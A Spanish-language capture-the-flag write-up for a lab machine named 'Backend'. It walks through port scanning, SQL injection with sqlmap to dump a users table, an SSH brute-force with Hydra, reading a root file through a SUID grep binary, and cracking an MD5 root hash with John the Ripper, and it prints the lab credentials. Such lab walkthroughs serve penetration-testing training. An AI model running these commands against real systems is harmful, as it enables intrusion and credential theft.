> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/backend-write-up.md).

# Backend write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/KEZf0nGGXsO8HIl9egFb" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Utilizamos la herramienta llamada **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/URrjszeNl4tTp81RrCEw" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ponemos la IP de la máquina víctima en el navegador y nos muestra lo siguiente:

<figure><img src="/files/s7ViTXzAaUzYQd8s0cES" alt=""><figcaption></figcaption></figure>

Vemos que hay un login así que vamos a probar si es vulnerable a una inyección SQL poniendo en el campo de usuario una `'`, al hacerlo nos muestra un error que indica que efectivamente es vulnerable a una inyección SQL:

<figure><img src="/files/pbLFh7AXXuarrWzCWf7A" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Baygx9KQ1qdDLOrFonu2" alt=""><figcaption></figcaption></figure>

Luego, para explotar esta vulnerabilidad vamos a usar la herramienta **SQLmap** de la siguiente manera:

Primero ejecutamos el siguiente comando el cual nos dirá si el formulario es vulnerable y nos mostrará el nombre de la base de datos:

```bash
sqlmap --url "http://172.17.0.2/login.html" --forms -dbs --batch
```

<figure><img src="/files/76fYTSqFMH06eyThoQ62" alt=""><figcaption></figcaption></figure>

Esto nos indica que existe una base de datos llamada `users` que es la única que no está de forma predeterminada, así que ahora ejecutamos el siguiente comando para ver las tablas que hay en esa base de datos:

```bash
sqlmap --url "http://172.17.0.2/login.html" --forms -D users --tables --batch
```

<figure><img src="/files/ZhAcQhnY2sswYaUC7ASr" alt=""><figcaption></figcaption></figure>

Esto nos indica que dentro de la base de datos `users` encontramos una tabla llamada `usuarios`. Ahora veremos qué columnas existen con el siguiente comando:

```bash
sqlmap --url "http://172.17.0.2/login.html" --forms -D users -T usuarios --columns --batch
```

<figure><img src="/files/v6W8M7lL7Dam58faR9Ua" alt=""><figcaption></figcaption></figure>

Esto nos muestra que dentro de la tabla existen las columnas `id`, `password` y `username`. Así que ahora le pediremos a **SQLmap** que nos muestre las columnas `password` y `username` de la siguiente forma:

```bash
sqlmap --url "http://172.17.0.2/login.html" --forms -D users -T usuarios -C password,username --batch --dump --output-dir .
```

<figure><img src="/files/2YqNXIC4KZn1fqSUvB7f" alt=""><figcaption></figcaption></figure>

**SQLmap** creará un directorio con el nombre de la **IP de la máquina víctima**. Por ejemplo, si la dirección IP de la víctima es `172.17.0.2`, el directorio creado será `172.17.0.2/`. Dentro de este directorio, **SQLmap** creará un subdirectorio denominado **`dump`**. Dentro de **`dump`**, se encontrará un subdirectorio **`users`**, que corresponderá al nombre de la base de datos de la que se están extrayendo los datos. Finalmente, dentro de **`users`**, se generará un archivo **`usuarios.csv`** que contendrá los datos extraídos, en este caso, las columnas **`password`** y **`username`** de la tabla solicitada.

Así que lo que voy a hacer es usar un script que esta en mi repositorio de [Github](https://github.com/Shinkirou789/Csv_to_txt) que convertirá cada columna del archivo csv en una archivo con extensión .txt con el nombre de la columna. Para clonar el repositorio ejecuta el siguiente comando:

```bash
git clone https://github.com/Shinkirou789/Csv_to_txt.git ; cd Csv_to_txt ; chmod 0700 csv_reader.py
```

Y ahora para ejecutar el script solo hay que ejecutarlo de la siguiente manera:

```bash
python3 csv_reader.py -f /home/shinki/Escritorio/maquina/172.17.0.2/dump/users/usuarios.csv
```

En el parámetro -f se debe indicar la ruta del archivo CSV.

<figure><img src="/files/noVM6E7M2F6jxDDAKp91" alt=""><figcaption></figcaption></figure>

Una vez ya hemos ejecutado el script correctamente se nos habrá creado el fichero `password.txt` y `username.txt`. Ahora realizaremos un ataque de fuerza bruta con la herramienta **Hydra** mediante el siguiente comando:

```bash
hydra -L username.txt -P password.txt -I -V -F -u ssh://172.17.0.2
```

<figure><img src="/files/oifyzZ4HqfphKZalSMtX" alt=""><figcaption></figcaption></figure>

Y ya podríamos acceder a la máquina víctima por el servicio SSH con el usuario `pepe` y la contraseña `P123pepe3456P`.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `find / -perm -4000 2>/dev/null` el cual nos indica que podemos usar el binario **Grep** y **Ls** como usuario root.

<figure><img src="/files/wuKPAKRPud5Sk6IjWnD4" alt=""><figcaption></figcaption></figure>

Así que ejecutaremos un **ls** en el directorio `/root`, el cual nos indica que existe un fichero llamado `pass.hash`. Luego, ahora usaremos el binario **Grep** para ver lo que hay dentro del fichero con el siguiente comando:

```bash
grep "" /root/pass.hash
```

<figure><img src="/files/A5KtMfRVoD0aDiXNSfL2" alt=""><figcaption></figcaption></figure>

Esto nos muestra la contraseña hasheada `e43833c4c9d5ac444e16bb94715a75e4`. Así que ahora vamos a usar la herramienta llamada **Hash-identifier** para identificar de que manera se hasheo la contraseña.

<figure><img src="/files/TSKq5CmwCQ2C4E2cWBhe" alt=""><figcaption></figcaption></figure>

Esto nos indica que probablemente este hasheada en MD5, por lo que ahora usaremos la **John The Ripper** para romper la contraseña con el siguiente comando, guardando el hash en un archivo:

```bash
john --wordlist=/home/shinki/Escritorio/rockyou.txt --verbosity=6 --format=Raw-MD5 hash.txt  
```

<figure><img src="/files/YVx6QECLBys4RzMP2ib2" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del usuario root es `spongebob34`, así que ahora solo tendríamos que iniciar sesión utilizando la contraseña y ya tendríamos privilegios elevados.

<figure><img src="/files/aATjgY8TpCG7TIqYSrsE" alt=""><figcaption></figcaption></figure>
